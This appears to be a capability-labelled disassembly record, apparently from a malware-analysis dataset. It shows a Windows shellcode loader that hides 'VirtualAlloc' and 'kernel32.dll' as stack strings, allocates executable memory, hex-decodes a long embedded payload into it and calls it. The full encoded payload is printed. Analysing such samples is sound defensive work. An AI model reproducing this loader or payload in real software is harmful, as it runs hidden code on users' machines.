Function at 0x401000
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x40c004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0xa9f
call fcn.0040114a
push 0x40aec8
mov esi, eax
call fcn.004011de
add esp, 8
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x24]
push ecx
mov dword [ebp - 0x14], 0x74726956
mov dword [ebp - 0x10], 0x416c6175
mov dword [ebp - 0xc], 0x636f6c6c
mov byte [ebp - 8], 0
mov dword [ebp - 0x24], 0x6e72656b
mov dword [ebp - 0x20], 0x32336c65
mov dword [ebp - 0x1c], 0x6c6c642e
mov byte [ebp - 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40
push 0x1000
push 0xa9f
push 0
call eax
push 0x40aed4
mov edi, eax
call fcn.004011de
add esp, 4
xor edx, edx
mov al, byte [edx*2 + str.E86B0A00000000D0013A016CE534EDED0903BFA5F100005C00838D377F1BC9ED0A78D209485847F6BF574C4646B05B5B568B8ADBDB730AE2C24805F1B387DEC4C1C1C1F9049A5D8781ED292CD7A236000331C2901DF707BC94FA697FBF5A12AF5AC0AA18E9F2DFAEBD4CF779B3F52F13106039E95DF1933EED106B1D4B39C57EAF48CD3F95F144576E9B1F0EDF2F86E51E8EDEC6219556E28FB57B4E944712BC944E196860E656D92E3B8D177F7A78F776F57272477428D627E13A60A3E1201EA19DA0F1B6F13676B24A6232EA577EEC3315CB242B7FB3A3611469C66DBE0BF461621B8539660C96849AD4CFC835C8B6E8EEB05D32F738E5C02F194D4BA23B58B9E321C3EBA8557ABF06B8F2C0C8A03584D35C24D8FC64EB665D04EB015915A5FF96B794657561DDE3347594A8F00420246D1ED7CCAF46C114C5377DE795775B4ECD80E3679FF32956E7DAB4DD03FE0D92F960E7B7531BC10803DA71308F116DF26B2CEBAA65995D738A55AC8BCA61BA9F1E7CD5FAC7AD28F4E772558150DA870E152EF4D0A4A37FDBF906EA595BB1D7BF5CA52304D29C6A73553620C8A4A82B345F2FB6ADB61CDF9F67C31E628DC4CD22CBB439DD7B99374F5A151604A2F95F049338EC7F4875766B94FBC16BD9CBB537BB46813A02938C2574324C1AC061FA23D4992A9B2FA055F05690EE4CDB4EFD367AFE1ABBA8D9F862B0A2289EE89ED5F0EF042CA080C416E8008D0EC35B823D54F347D74B11B8535AD958D754945B460DD9D9F987C0F1E28FF983B3F68152E4F2E3B0015BA9DBF59705A520AF62855901795F889D647AD4CAE96C336C5CDD6A721544DB38AE186674422C3E576811C233F93365BD48AD84CF2E748E8C82C40A80E298C0DDD207F6840600CEE1D48F5EB3E460F87EFB84F907B9CF0B3CC5E6534AB4D5C6C9B4A7AD5BAB9ADDBC4B492B41ABCB22D6AF274BB53B4D39A82B8AE17F81B7B16D4AD00C00DCCCB030B0B5324F2A3E266A5AF27A92E04972512CAFB420B0F8E4579E791C1FA4A9756E7B042DFAAF01B74575BA8F74E152DF68FD4082BDD1D72881D6331DBB099176CB20091EE7EC4DDC4713467D8ED77C95B329C1C46BDE012379835DD9A0D5FA2FCA66BEE63E2FA81970E06C24082CDD3ECB4911D493520DC1B55BE2CD34B32D6B855761331D4F553D03C50160A33A456BBDADC436AA7BAED0136FA284EF3E311047B629A0CCE3667538FFCF0F5BE70BD110A858453139C3403DD26B80D97E570C19944082924D0CDF164D692DD59D299F32D2BAE32B1B91DEDA27A99D3C3228BF4271E45A8A401C9F091A9DA418C708427B0ADC174C7E6DD6FECEF3296D6658528898D820488038F830723CE62CB775E2930D0EDF7B98CC0058FF160DD73E190500E8F197737078C1575B1A0EEEDD4B105D2DCCFF091DFA08AEC71C01952A63AD88EC6445DA3FD73A05357C630B3EEE8D614026F8FAE9EB90B9DEE3075EDDF4AC1590D50C202596777F82398FE8551793A8784C690AA7388BE61B0F7EBAFAE2076DC70570045485D8899D8B9B0CD4842F9CFC92CD082B16C7384536F3ACE932E7D8D9CCEAB1BFCAD4CEB3C3ED04CAF108D5E68B9C1F8A2D602B99A942E43A55355B1E389EA98A547C26C4DB4F2F07CC7EB4F30BB5845A645F5A9E476EE590EBF3A6711CAFFAD1094B592CB0A4DD131760E09CCB39274828EC378125B82C305D496F543FCEC5165C97909268529D67C2CC7ACD73230C720C08F2F050F2547863B2106C8515370EE3BD5CE0E71CE457ECD28FC87F7681740BC6E42338ECA9CC6AE4472E744F1740E9D6ED1BDEED3B44853DB4F7A7514E9B302DCD7CDF31C2EB5AC9B82734FCE97AD15C5A0CD3E7DDC22C4EB4121A77EFD019D580E75373FE8891FF7B023DFCB9CC2722BDC89B70A882BC7EA8D2DC6873E59D96BE9E4111932833DF975B0137F7B0465051E7385C413CAA255B4C8DB3A6ADF33FC56D26C6F2A1CE4EB95B76118AD2BDA69C53C18DE851A94574B01FB4E2FFF286757AF43D80A033F4B6DFBE36A1221A6AC213E1D56C2ADC91AB4C0AC7E90A17E2D4DF9FBFCF892836680C5FA31310921404FB6427FC2385CE6B019EBF4D95766AEACEA1049F0C9183888905E3BE204659B24693CAA2B950C70D443807DEA9A0BF9EFD5C3B4DEC841429A3DD41B5C1AD695569D71D43893F996C469D8A1E3684398B626B66CCF53D4F16C81A6AFEE5BF315DB2724FFD634F572F4EA0B19C4E0D0E9273A2E02E67D3D29E4A767E98220ED3738D8C1A88B3D30D0854C02F559BD044EB4004BD3CBCC03C31282E1560E35ED99A8A827EFAF477DA218D653BD1F7D76231CDD210D28D2F86AC91A056DB36684037FEBA8515B959FCBACCB317DF25C9FE2C593673CFFE257A58C303BAC06F6D914CB82CE309A0642CD847849668188873062A3605AF0DFDEE7EF6EB8BD97C61D4B85D7B967A1F789A4141378C70BBFBF4297CA305DF8A697D2A5F86C013249C2F86497C32C54BBBF48238F19F9AD22A8747459AAB42D09F86A366DC5C2FA8614DB8ABB9B4BBBABB96F0111C641F8EA5D89E539AC26EBCC74D983494CBE5275BEE21B22A58E63683CF14283161DB5ED1542FD5A8EBA9A5641E1596C66ECFF0DD9CC2CDD286DFFE207B15912676A25E1C2775D6417B7C828402D2CB8FB148AEE0D34B01C6FB3D63C1312A7A6E5967BDF7BD5B799735837554ACACB1732B9814F09D24071CCDFA2B8069CCBF15B21B5422D5F73429F1A8DF77D19E09EDE13B4AF647EE2424E09DCA67CF43F7AD00ECBDB9467FD0FBA978AB7E1DF6EAE8EFBE414D2A9F6DA4773CDC101CD1E28F253BF7A693D330641679F46C4F6CC22F0262D17A241736779F00D1F8BEB22C75273621AEE222BDAC9EA5A7338250FF0E5D]
xor cl, cl
cmp al, 0x30
jl 0x4010a8
cmp al, 0x39
jg 0x4010a8
sub al, 0x30
jmp 0x4010be
cmp al, 0x41
jl 0x4010b4
cmp al, 0x46
jg 0x4010b4
sub al, 0x37
jmp 0x4010be
cmp al, 0x61
jl 0x4010c0
cmp al, 0x66
jg 0x4010c0
sub al, 0x57
mov cl, al
mov al, byte [edx*2 + 0x409989]
shl cl, 4
cmp al, 0x30
jl 0x4010d6
cmp al, 0x39
jg 0x4010d6
sub al, 0x30
jmp 0x4010ec
cmp al, 0x41
jl 0x4010e2
cmp al, 0x46
jg 0x4010e2
sub al, 0x37
jmp 0x4010ec
cmp al, 0x61
jl 0x4010ee
cmp al, 0x66
jg 0x4010ee
sub al, 0x57
or cl, al
mov byte [edx + esi], cl
inc edx
cmp edx, 0xa9f
jb 0x401093
push 0x40aee0
call fcn.004011de
push 0xa9f
push esi
push edi
call fcn.00405a40
push 0x40aeec
call fcn.004011de
call edi
push 0x40aef8
call fcn.004011de
mov ecx, dword [ebp - 4]
add esp, 0x18
pop edi
xor ecx, ebp
xor eax, eax
pop esi
call fcn.0040113b
mov esp, ebp
pop ebp
ret